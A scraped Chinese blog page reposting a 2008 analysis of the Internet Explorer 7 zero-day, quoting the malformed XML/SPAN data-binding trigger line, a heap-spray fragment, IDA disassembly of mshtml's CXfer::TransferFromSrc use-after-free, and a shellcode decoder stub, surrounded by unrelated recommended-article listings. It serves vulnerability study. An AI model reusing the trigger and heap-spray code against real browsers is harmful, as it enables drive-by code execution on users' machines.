IE7 0day漏洞分析

宏基因组功能注释实战:从CAZyme到VFDB的完整流程(含数据库下载与脚本优化) 本文详细介绍了宏基因组功能注释的完整流程,涵盖CAZyme、eggNOG、CARD和VFDB四大核心数据库的实战应用。从环境配置、数据库下载与预处理到注释流程执行与优化,提供了全面的操作指南和脚本优化建议,帮助研究人员高效完成宏基因组数据分析。特别针对CAZyme注释等关键步骤给出了参数优化方案和常见问题排查方法。 阅读详情
by vessial

2008.12.9看到knownsec的安全公告,发现IE7的0day,所以我也凑凑热闹
from http://hi.baidu.com/vessial

说实话,不怎么会javascript,所以分析也挺费劲的,
但是大体知道是个怎么回事触发这个漏洞的了

0day代码片断
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');

关键触发是由于这个Image SRC的字段的数据造成的
http://rਊr.book.com
mshtml.dll会对这个SRC作解析

r把十进制的114转成0x0072
ਊ把十进制的2570转成0x0a0a
刚好它们拼在一起就是一个可利用的堆地址
0x0a0a0072,通过heap spray,分配大量的内存
可使shellcode填充到这个地址空间去,所以我们可以修改这个值来构造我们
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape("%u0a0a%u0a0a");
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;

它是怎么进入到0x0a0a0072这个地址的了,由于
重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18                                        ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18                                        ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg          = VARIANTARG ptr -18h
.text:461E3D18 var_8          = dword ptr -8
.text:461E3D18 var_4          = dword ptr -4
.text:461E3D18
.text:461E3D18                mov    edi, edi
.text:461E3D1A                push    ebp
.text:461E3D1B                mov    ebp, esp
.text:461E3D1D                sub    esp, 18h
.text:461E3D20                push    ebx
.text:461E3D21                push    esi
.text:461E3D22                mov    esi, ecx
.text:461E3D24                xor    ebx, ebx
.text:461E3D26                test    byte ptr [esi+1Ch], 9
.text:461E3D2A                jnz    loc_461E3E2E

.text:461E3D30                mov    eax, [esi] //eax==0x0a0a0072
.text:461E3D32                cmp    eax, ebx
.text:461E3D34                jz      loc_461E3E29
.text:461E3D3A                cmp    [esi+4], ebx
.text:461E3D3D                jz      loc_461E3E29
.text:461E3D43                cmp    [esi+8], ebx
.text:461E3D46                jz      loc_461E3E29
.text:461E3D4C                mov    ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E                push    edi
.text:461E3D4F                push    eax
.text:461E3D50                call    dword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56                mov    eax, [esi+1Ch]
.text:461E3D59                mov    edi, eax
.text:461E3D5B                shr    edi, 1

call 0x0a0a0aae会执行如下指令,一直执行直到执行到shellcode处

0A2BF9B6    0A0A            or      cl, byte ptr [edx]
0A2BF9B8    0A0A            or      cl, byte ptr [edx]
0A2BF9BA    0A0A            or      cl, byte ptr [edx]
0A2BF9BC    0A0A            or      cl, byte ptr [edx]
0A2BF9BE    0A0A            or      cl, byte ptr [edx]
0A2BF9C0    0A0A            or      cl, byte ptr [edx]
0A2BF9C2    0A0A            or      cl, byte ptr [edx]
0A2BF9C4    0A0A            or      cl, byte ptr [edx]
0A2BF9C6    0A0A            or      cl, byte ptr [edx]
0A2BF9C8    0A0A            or      cl, byte ptr [edx]
0A2BF9CA    0A0A            or      cl, byte ptr [edx]
0A2BF9CC    0A0A            or      cl, byte ptr [edx]
0A2BF9CE    0A0A            or      cl, byte ptr [edx]
0A2BF9D0    0A0A            or      cl, byte ptr [edx]
0A2BF9D2    0A0A            or      cl, byte ptr [edx]
0A2BF9D4    0A0A            or      cl, byte ptr [edx]
0A2BF9D6    0A0A            or      cl, byte ptr [edx]
0A2BF9D8    0A0A            or      cl, byte ptr [edx]
0A2BF9DA    0A0A            or      cl, byte ptr [edx]
0A2BF9DC    0A0A            or      cl, byte ptr [edx]
0A2BF9DE    0A0A            or      cl, byte ptr [edx]
0A2BF9E0    0A0A            or      cl, byte ptr [edx]
0A2BF9E2    0A0A            or      cl, byte ptr [edx]
0A2BF9E4    0A0A            or      cl, byte ptr [edx]
0A2BF9E6    0A0A            or      cl, byte ptr [edx]
0A2BF9E8    0A0A            or      cl, byte ptr [edx]

0A2BF9EA    90              nop  //shellcode
0A2BF9EB    90              nop
0A2BF9EC    25 00750090    and    eax, 90007500
0A2BF9F1    90              nop
0A2BF9F2    90              nop
0A2BF9F3    90              nop
0A2BF9F4    D9E1            fabs
0A2BF9F6    D93424          fstenv (28-byte) ptr [esp]
0A2BF9F9    58              pop    eax
0A2BF9FA    58              pop    eax
0A2BF9FB    58              pop    eax
0A2BF9FC    58              pop    eax
0A2BF9FD    33DB            xor    ebx, ebx
0A2BF9FF    B3 1C          mov    bl, 1C
0A2BFA01    03C3            add    eax, ebx
0A2BFA03    31C9            xor    ecx, ecx
0A2BFA05    66:81E9 65FA    sub    cx, 0FA65
0A2BFA0A    8030 21        xor    byte ptr [eax], 21
0A2BFA0D    40              inc    eax
0A2BFA0E ^ E2 FA          loopd  short 0A2BFA0A
WinClaw安全实战 02|五层纵深防护体系全解析:从原理到实操,打造零风险AI智能体 2026年AI智能体爆发式普及,OpenClaw以27.3万GitHub星标成为现象级工具,但恶意Skill投毒、提示词注入、数据外泄等安全事故频发,国家互联网应急中心、工信部等多部门接连发布风险警示。威努特基于国家关键信息基础设施安全防护经验,打造WinClaw安全版AI智能体,其核心竞争力在于**五层纵深防护体系**。本文从安全痛点切入,通过真实事故案例揭示风险本质,全景解构五层防护的架构设计与技术原理,逐层拆解身份认证、安装审查、消息拦截、执行约束、监控审计的实现逻辑,搭配20+实操演示、对比表格 阅读详情

相关推荐

centos7安装Ambari 2.7.5 + HDP3.1.5

准备 1.安装包准备: Ambari2.7.5、HDP31.5、libtirpc-devel: centos7操作系统: 链接:https://pan.baidu.com/s/1vzvio5rAMsbYF0-0vBs5dw 提取码:xij9

kxq的博客 5092

微软IE7 0day网马分析(图解)

微软IE7 0day网马分析微软IE70day网页木马在javascript脚本中构造了一个恶意的xml串。xml串中存在一个格式异常标签且包含image标记的CDATA标记。因为CDATA标记的格式不正常,所以IE7解析xml时会继续解析CDATA标记中的image标记。这个image标记中的SRC也是经过构造的,它利用了IE7在解析URI时的一个漏洞。当IE7在解析imag

1429

分析android逆向的学习路线

俗话说:“一入逆向深似海,从此头发是路人”。 安卓逆向作为当下热门行业“网络安全”的主要技术之一,已经受到了越来越多人的青睐。但是很多刚入门的新手小伙伴对于怎么去学习却还很是迷糊。本文就分享一下android逆向的学习路线供大家参考。 目前学习安卓逆向的人群大约分为两种: 第一种是完全没有任何基础的计算机纯小白; 第二种是本来就做开发懂编程的IT行业人员。 我们就针对这两个不同的人群做一下安卓逆向的学习路线分析。 一、无基础小白想入门 作为没有任何基础想要入门的计算机纯小白,学习上推荐参照以下步骤: (一

Hacker_by_V的博客 3080

IE7 0day漏洞

IE7的0day漏洞被微软证实,但安全补丁还没有发布。现在的建议是:不要使用IE7。 要 我说啊,不如直接删除了IE7算了,一了百了。

李新阳 243

AR Tag 与 ROS:从基础部署到机器人视觉定位实战

本文详细介绍了AR Tag技术在ROS环境下的部署与应用,涵盖从基础原理到机器人视觉定位的实战技巧。通过分析AR Tag的特征提取、位姿解算等核心技术,结合ROS工具包`ar_track_alvar`的配置优化,帮助开发者实现高精度的视觉定位系统。文章还分享了深度相机配置、坐标转换及性能优化等实用经验,适用于仓储机器人、物流分拣等场景。

weixin_33146151的博客 182

Jetson Nano摄像头选型与配置全攻略:CSI与USB接口实战指南

在嵌入式视觉与边缘计算项目中,摄像头作为核心传感器,其选型与配置直接影响系统性能。CSI(Camera Serial Interface)和USB(Universal Serial Bus)是两种主流接口,前者通过MIPI CSI-2协议直接与SoC通信,具备低延迟、高带宽特性,适合实时性要求高的应用;后者基于通用串行总线标准,即插即用,通用性强。在NVIDIA Jetson Nano平台上,合理选择摄像头接口并优化驱动配置,能充分发挥其GPU加速优势,提升图像处理流水线效率。本文聚焦Jetson Nano

weixin_29190651的博客 323

IE7 0day Exploit Analysis

The exploit for this vulnerability has two parts:A. JavaScript heap spray code and x86 ShellcodeB. A short of special XML/SPAN tag elementsThe first part of this exploit is a combination of

Kendiv's Box 5032

《AFSim 2.9中文参考手册》

本栏目将对《AFSim 2.9中文参考手册》进行持续更新,欢迎关注交流!对本文或者AFSIM相关内容感兴趣的朋友,可私心联系作者。《AFSim 2.9中文参考手册》内容概览。

henggesim的博客 1万+

IE7 0Day 漏洞分析及防御原理(图)

 IE7 0Day 漏洞分析   自2008年12月10日曝出IE7 0DAY漏洞以来,网页挂马网站迅速增多,受影响用户人数已达百万,而且有继续增多的趋势,一些地下组织开始公然贩卖漏洞服务,对该漏洞微软至今还未公布相关补丁,据了解,微软IE 7 0day漏洞是一个基于IE7浏览器内核的漏洞,所有基于IE7内核的浏览器如傲游、腾讯TT都会成为攻击对象,而且一些内置了IE内核的杀毒软件、应用软件如Of

clubsondy的专栏 963

从XSA到Linux应用:Petalinux与Vitis的嵌入式开发全流程解析

本文详细解析了从XSA文件到Linux应用的嵌入式开发全流程,重点介绍了Petalinux与Vitis工具链的使用技巧和实战经验。通过XSA硬件描述、Petalinux工程搭建、系统镜像优化及Vitis开发配置等关键步骤,帮助开发者高效完成ZYNQ平台开发,解决常见问题并提升开发效率。

weixin_29195217的博客 192

11、RK3566/3568 Android11切割屏幕 长条屏 显示

在使用 RK3566 平台进行 Android 11 开发时,遇到切割屏(长条屏)显示画面不全。本文将详细介绍如何配置,以及如何修改 HWComposer 来调整显示区域,解决图像缩放问题。我这边屏幕是lvds接口的,分辨率1920 1080实际的屏物理尺寸是1920x463。

qq_39451352的博客 261

IE7 0DAY漏洞所用shellcode的分析

IE7 0DAY漏洞所用shellcode的分析 2008/12/14 22:29 | 鬼仔 | 技术文章 | 占个座先 标 题: 【原创】IE7 0DAY漏洞所用shellcode的分析 作 者:轩辕小聪 时 间: 2008-12-11,20:37 链 接: http://bbs.pediy.com/showthread.php?t=78502 作者主页: http

lionzl的专栏 970

超详细教程YoloV8官方推荐免费数据集网站Roboflow一键导出Voc、COCO、Yolo、Csv等格式

YoloV8官方推荐了一个数据集网站,就是Roboflow。Roboflow是一个数据集管理平台,提供了免费的数据集,同时也支持上传自己的数据集进行格式转换。使用Roboflow,开发者可以方便地获取所需格式的数据集,无需手动转换格式。此外,Roboflow还提供了多种数据预处理、数据增强等功能,可帮助开发者更好地优化训练数据

Snu77的博客 2万+

CVE-2012-1876:Internet Exporter MSHTML.DLL CaculateMinMax 堆溢出简单分析

0x01 2012 Pwn2Own 黑客大赛 Pwn2Own 是世界上最著名的黑客大赛,意在激励白帽黑客们进行顶尖的安全研究。在 ...

墨鱼菜鸡 416

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

IE7漏洞0day exploit

 历史:IE7的XML里存在可以导致内存越界的漏洞,通过编写畸形XML代码并且使用JavaScript脚本操作SHELLCODE去执行任意代码。在2008年下半年开始有流传IE7的漏洞,并于10月份左右开始流出私人买卖,于11月份流入黑市买卖,开始有人面谈出售。最终出现在网络的具体时间为12月份,大量二手三手漏洞在黑产运作层流通,并且于12月份初开始有大量的人购买二手代码去开发生成器,在9号开始出

1527

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

微软安全通报 979352 汇总 - IE 0Day 漏洞风险评估

这篇博文主要针对 "微软安全通报 979352 - IE 0Day 漏洞风险评估" 进行汇总。更多信息或资料,请参考本篇博文最底下的参考资料。 接下来几天,我会花点时间写一篇有关 DEP 的文章,请大家拭目以待。底下的汇整,请大家先看看吧。 《本文转译自 Microsoft Security Response Center博客文章 “Further Insight into Secur...

weixin_30909575的博客 208

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

IE零日(0Dday)漏洞

2008年12月9日,微软ie7爆发“0day”漏洞,正常浏览网页也会中毒,互联网用户面临极度安全威胁。 2008年12月13日,微软发布安全公告,此次漏洞在微软其他版本的IE浏览器上也存在。中毒现象:IE假死、游戏帐号被盗、QQ帐号被盗波及范围:所有基于IE的浏览器和应用程序。如Maxthon、QQ、迅雷、MSN等。 微软IE 0day漏洞介绍: “0Day漏洞”指微软官方未发现

wendy_fw的专栏 2463

警惕IE7 0DAY攻击代码已遭挂马攻击利用

 近日,国内安全团队近期捕获利用IE7一个内存越界的漏洞进行攻击的恶意代码。此漏洞于11月在小范围内泄露,于12月9日前后在地下流通,并且有人赶制出网马生成器,相信会在短期内十分流行。  IE7的XML里存在可以导致内存越界的漏洞,通过编写畸形XML代码并且使用JavaScript脚本操作SHELLCODE去执行任意代码。  在2008年下半年开始有流传IE7的漏洞,并于10月份左右开始流

1250

微软补丁星期二:修复多个严重 RCE 和IE 0day

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队微软在3月补丁星期二发布了89个修复方案,修复位于IE浏览器和 Edge 浏览器、Office 和 Azure 中的多个漏洞,...

smellycat000的专栏 417

Windows组件0Day漏洞 通杀IE6与IE7浏览器

[0day]Microsoft Works 7 WkImgSrv.dll crash POC,dll版本7.03.0616.0,IE7+Windows XP SP2 测试通过。[html][head][title]Microsoft Works 7 WkImgSrv.dll crash POC[/title][script language="JavaScript"] function pay

826

微软补丁星期二修复120个漏洞,含2个已遭利用的 0day

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队微软发布2020年8月补丁星期二,共修复了13款不同产品中的120个漏洞。其中,17个漏洞的严重程度为“严重”,其余103个...

smellycat000的专栏 335

2020年上半年,谷歌共检测到11个已遭利用的 0day

聚焦源代码安全,网罗国内外最新资讯!编译:奇安信代码卫士团队谷歌Project Zero安全团队表示,在今年上半年共检测到11个在野利用的0day漏洞。2019年,谷歌Proje...

smellycat000的专栏 903

ie 不执行回调函时_老树开新花:愈演愈烈的IE脚本引擎漏洞

IE脚本引擎0day回顾在这篇文章的最开始,先来回顾一下近几年的IE 0day,这里重点关注脚本引擎(vbscript/jscript/jscript9)相关的0day:漏洞编号脚本引擎类型修复时间CVE-2016-0189vbscript2016年5月CVE-2017-0149vbscript2017年3月CVE-2018-8174vbscript2018年5月CVE-2018-837...

weixin_40001372的博客 262

安恒信息:2022年七大在野0day漏洞趋势与10大热门漏洞回顾

2022年,以Office为载体的逻辑漏洞再次出现,新出现的漏洞(CVE-2022-30190)和2021年披露的CVE-2021-40444漏洞非常相似:都是以Word文档作为攻击入口,都是逻辑漏洞,漏洞利用代码都存储在云端。在2022年披露的36个在野0day中,14个是浏览器0day,占比高达38%。这主要由两个原因造成:一是2022年浏览器在野0day占比有所下降(从45%降低到38%),二是2022年提权在野0day占比仍维持高位(占总数的43%),而这些提权0day大多属于操作系统漏洞。

cover_se的博客 17

ie浏览器修复_高危 0day! 微软拒绝修复,研究员公开 IE 浏览器 0day 详情和 PoC

聚焦源代码安全,网罗国内外最新资讯!编译:360代码卫士团队研究人员 John Page 公开了一个可导致黑客从 Windows 系统中窃取文件的 IE 浏览器 0day 漏洞的详情和 PoC 代码。该漏洞为存在于 IE 11 中的XXE 外部实体注入漏洞,存在于 IE 处理 MHT 文件的方式中,影响 Windows 7、10和 Server 2012 R2 版本。MHT 即“MHT...

weixin_39525307的博客 273

Microsoft修补了120个漏洞,2个0day

作为周二发布的每月补丁的一部分,微软今天发布了13个产品和服务中120个漏洞的修复程序,其中包括两个0Day。 8月份发布的补丁是周二发布的第三大补丁,紧随着2020年7月的第二大补丁(123个补丁)和2020年6月的最大补丁(129个补丁)。这也使得2020年的安全修复总数达到862–比微软在2019年发布的多11个。 “如果他们保持这样的速度,他们很有可能在今年发布超过1300个补丁,”Trend Micro零日计划(ZDI)的Dustin Childs说这一数量以及困难的服务场景给补丁管理团队带来了额

m0_48520508的博客 220
上一篇: ms08069 exploit
下一篇: 如何读懂路由器中路由表信息
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值